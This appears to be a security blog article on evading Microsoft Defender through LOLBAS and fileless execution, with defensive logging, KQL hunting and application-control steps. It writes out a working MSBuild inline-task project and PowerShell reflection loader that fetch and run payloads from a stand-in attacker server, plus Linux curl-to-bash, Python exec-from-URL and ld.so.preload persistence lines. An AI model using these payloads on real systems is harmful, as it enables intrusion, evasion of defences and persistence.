Unmasking the Invisible: How Attackers Are Evading Microsoft Defender with LOLBAS and Fileless Techniques

Listen to this Post

Featured Image

Introduction:

The cybersecurity landscape is witnessing a sophisticated shift in attack methodologies, moving away from traditional malware drops toward living-off-the-land techniques. A recent demonstration showcased a method to completely evade detection by Microsoft Defender, not by disabling it, but by exploiting trusted system processes and in-memory execution. This article deconstructs this advanced attack vector, providing both an understanding of its mechanics and the necessary commands to defend against it.

Learning Objectives:

  • Understand the principles of Living-Off-the-Land Binaries and Scripts (LOLBAS) and how they bypass application allow-listing.
  • Learn how to execute PowerShell scripts entirely in memory to avoid writing malicious files to disk.
  • Master advanced Defender configuration and logging commands to detect and mitigate such stealthy attacks.

You Should Know:

  1. The Core Evasion Technique: Exploiting Trusted Windows Processes

The fundamental flaw exploited in this evasion is the inherent trust placed in legitimate Windows utilities, specifically `msbuild.exe` (Microsoft Build Engine). Attackers craft a malicious project file that uses inline tasks to execute PowerShell code. Since `msbuild.exe` is a signed, legitimate Microsoft application, it launches without suspicion, and the subsequent PowerShell execution occurs within its context, effectively hiding in plain sight.

Windows Command: The Malicious MSBuild Project File (evade.csproj)

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="SecurityEvasion">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
string cmd = "powershell -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_SERVER/payload.ps1')";
System.Diagnostics.Process.Start("cmd.exe", $"/c {cmd}");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

Step-by-step guide explaining what this does and how to use it.
1. Creation: An attacker creates a malicious XML project file (e.g., evade.csproj). The key section is the `` block, which contains C code.
2. Execution: The attacker (or a dropper) executes this project file using the command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evade.csproj.
3. Bypass: Defender trusts the `msbuild.exe` process. The embedded C code compiles and runs on-the-fly, launching a PowerShell process that downloads and executes a remote payload entirely in memory (IEX stands for Invoke-Expression).
4. Result: A malicious payload runs on the system without any malicious file being scanned by Defender at the point of execution, as the only file touched was a seemingly benign `.csproj` file.

2. Advanced In-Memory PowerShell Payloads

To further avoid detection, the final payload must also be fileless. This is achieved using PowerShell’s ability to load entire .NET assemblies directly into memory, never writing a malicious DLL to the disk.

Windows/PowerShell Command: In-Memory Assembly Reflection

 Step 1: Download the malicious .NET assembly as a byte array
$bytes = (Invoke-WebRequest -Uri "http://ATTACKER_SERVER/SharpTool.dll" -UseBasicParsing).Content

Step 2: Load the assembly into the current AppDomain
$assembly = [System.Reflection.Assembly]::Load($bytes)

Step 3: Locate and invoke the desired entry point (e.g., a method named 'Execute')
$type = $assembly.GetType("SharpTool.Program")
$method = $type.GetMethod("Execute")
$method.Invoke($null, $null)

Step-by-step guide explaining what this does and how to use it.
1. Fetch: The `Invoke-WebRequest` cmdlet fetches the payload from the attacker’s server, storing it as a byte array in the variable $bytes. No file is written.
2. Load: The `[System.Reflection.Assembly]::Load($bytes)` method loads the executable code from the byte array directly into the application’s memory space.
3. Execute: Using reflection, the script finds the specific class and method within the in-memory assembly and invokes it. This runs the attacker’s tool with the same privileges as the host process (msbuild.exe), performing actions like credential dumping or lateral movement without a disk footprint.

3. Enhancing Defender Logging for Detection

The default Windows Defender logging is insufficient to catch these attacks. You must enable advanced auditing and PowerShell logging to create a forensic trail.

Windows Command: Enable PowerShell Module & Script Block Logging

 Enable Module Logging (logs module events)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1 -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "" -Value "" -Force

Enable Script Block Logging (logs de-obfuscated script content)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockInvocationLogging" -Value 1 -Force

Enable Command Line Process Auditing via Group Policy (gpedit.msc)
 Navigate to: Computer Configuration > Administrative Templates > System > Audit Process Creation
 Enable "Include command line in process creation events"

Step-by-step guide explaining what this does and how to use it.
1. Module Logging: This policy records the modules being loaded by PowerShell. In an attack, you might see `Microsoft.Build.Utilities` or other unusual modules being loaded by a PowerShell instance spawned from msbuild.
2. Script Block Logging: This is critical. It logs the actual code being executed, even if it was obfuscated on the command line. It would capture the in-memory assembly load commands shown above.
3. Process Auditing: This ensures that every process creation event in Windows logs its command-line arguments. This allows you to see that `msbuild.exe` was launched with a suspicious project file argument, creating a crucial pivot point for investigation.

  1. Hunting with Windows Event Logs and EDR Queries

With enhanced logging enabled, security teams can hunt for these specific behaviors. The following KQL (Kusto Query Language) query is an example for Azure Sentinel or Microsoft Defender for Endpoint, looking for MSBuild spawning PowerShell.

Kusto Query Language (KQL) for Threat Hunting

DeviceProcessEvents
| where InitiatingProcessFileName =~ "msbuild.exe"
| where ProcessVersionInfoPublisher != "Microsoft Corporation" // Look for non-signed children
| where FileName in~ ("powershell.exe", "cmd.exe", "rundll32.exe")
| project Timestamp, DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

Step-by-step guide explaining what this does and how to use it.
1. Scope: The query looks at all process creation events (DeviceProcessEvents).
2. Indicator: It filters for processes where the parent process was msbuild.exe.
3. Anomaly Detection: It then looks for child processes that are common attack tools (PowerShell, CMD) or that are not signed by Microsoft, a key indicator of a LOLBAS abuse.
4. Investigation: The results show the command lines of both the parent MSBuild process and the suspicious child process, providing a clear timeline of the attack for a security analyst to investigate.

5. Linux Parallel: Abusing Legitimate Binaries for Evasion

The LOLBAS concept is not exclusive to Windows. Linux is equally vulnerable to abuse of its native toolset. A common technique involves using `curl` or `wget` to download a payload and piping it directly to `bash` for execution, or using `python3` to execute a fileless payload.

Linux Command: Common LOLBAS-Style Payload Execution

 Technique 1: Download and pipe to shell
curl -s http://ATTACKER_SERVER/lin_payload.sh | bash

Technique 2: Using Python3 for in-memory execution
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://ATTACKER_SERVER/lin_payload.py').read())"

Technique 3: Abusing shared object loading with /etc/ld.so.preload for persistence
echo "/tmp/malicious_lib.so" > /etc/ld.so.preload

Step-by-step guide explaining what this does and how to use it.
1. Piping to Bash: This method fetches a shell script from a remote server and immediately executes its contents in the current shell session. No script file is ever written to the disk, evading file-based scanners.
2. Python In-Memory: Similar to the PowerShell technique, this uses Python’s `exec()` function to fetch and run code directly from a URL in a single, fileless command.
3. Library Injection: For persistence, an attacker can write the path to a malicious shared object (.so) file into /etc/ld.so.preload. This forces every subsequently executed program to load the malicious library, allowing for hooking and stealth.

6. Proactive Mitigation: Application Control and Hardening

The most effective defense against LOLBAS attacks is a robust application control policy. This moves security from a “allow all, block bad” model to a “deny all, allow good” model.

Windows Command: Configure Windows Defender Application Control (WDAC) with PowerShell

 Generate a base WDAC policy from a reference computer
New-CIPolicy -FilePath "C:\Policy.xml" -Level FilePublisher -UserPEs -Fallback Hash

Convert the policy to a binary format and deploy it
ConvertFrom-CIPolicy -XmlFilePath "C:\Policy.xml" -BinaryFilePath "C:\Policy.bin"

Deploy the policy (requires reboot)
Invoke-CimMethod -Namespace root/Microsoft/Windows/CI -ClassName PS_UpdateAndCompareCIPolicy -Arguments @{FilePath = "C:\Policy.bin"; User = $true}

Step-by-step guide explaining what this does and how to use it.
1. Policy Creation: The `New-CIPolicy` cmdlet scans a clean, trusted “reference” computer to create a baseline of known-good applications, drivers, and libraries.
2. Conversion: The XML-based policy is converted to a binary file that the Windows kernel can understand and enforce.
3. Enforcement: The policy is deployed. Once active, any executable, script, DLL, or driver not explicitly allowed by the policy will be blocked from running. This would prevent the malicious use of `msbuild.exe` with an untrusted project file or the execution of any in-memory payload that attempts to launch an unapproved process.

  1. API Security and Cloud Hardening: The Broader Context

This evasion technique highlights a critical flaw in legacy, signature-based detection. Modern security must focus on behavior. In cloud environments, this means securing management APIs and using service control policies (SCPs) in AWS or Azure Policy to enforce guardrails.

Bash/Cloud CLI Example: Restrictive AWS SCP and Azure Policy

 AWS: Deny actions unless from a specific VPC (e.g., corporate network)
cat > restrictive_scp.json << EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "",
"Resource": "",
"Condition": {
"StringNotEquals": {
"aws:SourceVpc": "vpc-12345678"
}
}
}
]
}
EOF

Azure CLI: Create a policy to allow only approved VM images
az policy definition create --name 'allowed-vm-images' --display-name 'Allowed VM images' --description 'This policy ensures only approved VM images are deployed.' --rules 'https://raw.githubusercontent.com/Azure/azure-policy/master/samples/Compute/allowed-custom-images/azurepolicy.rules.json' --params 'https://raw.githubusercontent.com/Azure/azure-policy/master/samples/Compute/allowed-custom-images/azurepolicy.parameters.json'

Step-by-step guide explaining what this does and how to use it.
1. AWS SCP: This Service Control Policy is a guardrail that denies all API actions (like creating new EC2 instances or modifying S3 buckets) unless the request originates from a specific, trusted Virtual Private Cloud (VPC). This prevents an attacker who has compromised a developer’s laptop from directly calling the AWS API from an unauthorized network.
2. Azure Policy: This policy definition enforces that only virtual machines built from a pre-approved list of custom, hardened images can be deployed in a subscription. This prevents the deployment of potentially vulnerable or unauthorized VM images, reducing the attack surface. Both examples demonstrate a shift from detecting bad actions to proactively enforcing a secure baseline configuration.

What Undercode Say:

  • The era of relying solely on signature-based antivirus is over. Modern defense requires a multi-layered approach focused on behavior analytics, application control, and comprehensive logging.
  • Attackers are winning the productivity war by abusing the very tools that system administrators and developers rely on daily. Understanding these tools is no longer just an offensive skill but a core requirement for defenders.

The demonstration of evading Microsoft Defender is not a zero-day vulnerability in the classic sense, but a fundamental limitation of its default heuristics and the trust model of modern operating systems. It proves that a determined adversary will always find a way to hide malicious intent within legitimate noise. This forces a strategic pivot in cybersecurity investments towards technologies like Endpoint Detection and Response (EDR), Zero Trust architectures, and rigorous hardening policies that assume breach. The real takeaway is that visibility and control over process lineage and command-line arguments are now more valuable than a perfect antivirus signature database.

Prediction:

The technique of blending into the operating system’s trusted processes will become the dominant attack strategy for the next five years. We will see an explosion in the abuse of pre-installed developer tools, system utilities, and cloud CLIs in supply chain attacks. This will force a bifurcation in the security market: one path towards increasingly intelligent AI-driven behavior analysis that can map normal versus abnormal process relationships, and another path towards the widespread, mandatory adoption of application control and immutable infrastructure. The concept of “trust” will be redefined from “signed by a vendor” to “explicitly allowed by organizational policy,” making Zero Trust not just an architecture but an operational necessity.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Maddyhivemind Evaded – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky